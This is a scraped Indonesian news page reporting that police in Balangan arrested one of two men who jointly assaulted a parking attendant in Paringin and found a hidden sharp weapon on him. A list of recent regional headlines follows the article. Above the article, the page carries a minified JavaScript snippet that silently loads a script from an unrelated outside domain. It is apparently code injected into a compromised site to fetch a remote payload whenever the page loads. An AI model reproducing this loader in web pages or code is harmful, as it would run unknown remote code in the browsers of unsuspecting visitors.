(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pelaku Pengeroyokan Jukir Ditangkap Buser Polres Balangan


PARINGIN, Tim Buser Polres Balangan meringkus pelaku pengeroyokan terhadap seorang juru parkir, di Desa Lasung Batu, Kecamatan Paringin, dari hasil penggeledahan, petugas menemukan sajam disembunyikan pelaku.

Sebelumnya dari laporan Santoso (30), warga Kelurahan Paringin Timur mengalami pengeroyokan yang dilakukan oleh 2 orang warga Kelurahan Batu Piring, Kecamatan Paringin Selatan, Senin (28/5).

Kedua pelaku yang diketahui adalah AD alias Aar (45) dan AK tanpa sebab yang jelas melakukan pengroyokan kepada Santoso.

Permasalahan dipicu saat korban sang juru parkir ini didatangi oleh AK yang berbicara dengan nada kasar kepada korban, Santoso tidak tahu pokok permasalahan apa yang dibicarakan oleh pelaku.

Tidak lama kemudian, datang AD alias Aar dari arah belakang dan langsung memukul bagian punggung, disusul pukulan dari AK yang mengenai bagian pipi sebelah kiri korban.

“Kedua pelaku mengeroyok saya tanpa saya mengetahui permasalahannya, sempat saya menangkis dan membalas pukulan tersebut tetapi tidak terarah dan saya langsung lari menyelamatkan diri,” terang Santoso.

Menyikapi laporan korban, Polsek Paringin dibantu Buser Polres Balangan langsung melakukan pencarian terhadap terduga pelaku AD dan AK, hingga pada hari Rabu (30/5) pukul 23.00 Wita, AD berhasil dibekuk petugas di desa Lasung Batu Kecamatan Paringin tanpa perlawanan.

Saat dilakukan pemeriksaan di badan pelaku, ditemukan sebilah senjata tajam yang disembunyikan AD di pinggang, kemudian pelaku dibawa ke Mapolsek Paringin untuk menjalani pemeriksaan lebih lanjut.

Kapolres Balangan AKBP Moh Zamroni SiK melalui Kapolsek Paringin Iptu Cahyo Budi Widodo mengatakan pelaku dikenakan pasal berlapis.

“Selain melakukan tindak pidana pengeroyokan, pelaku juga kedapatan membawa senjata tajam sehingga dikenakan pasal berlapis,” jelasnya. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.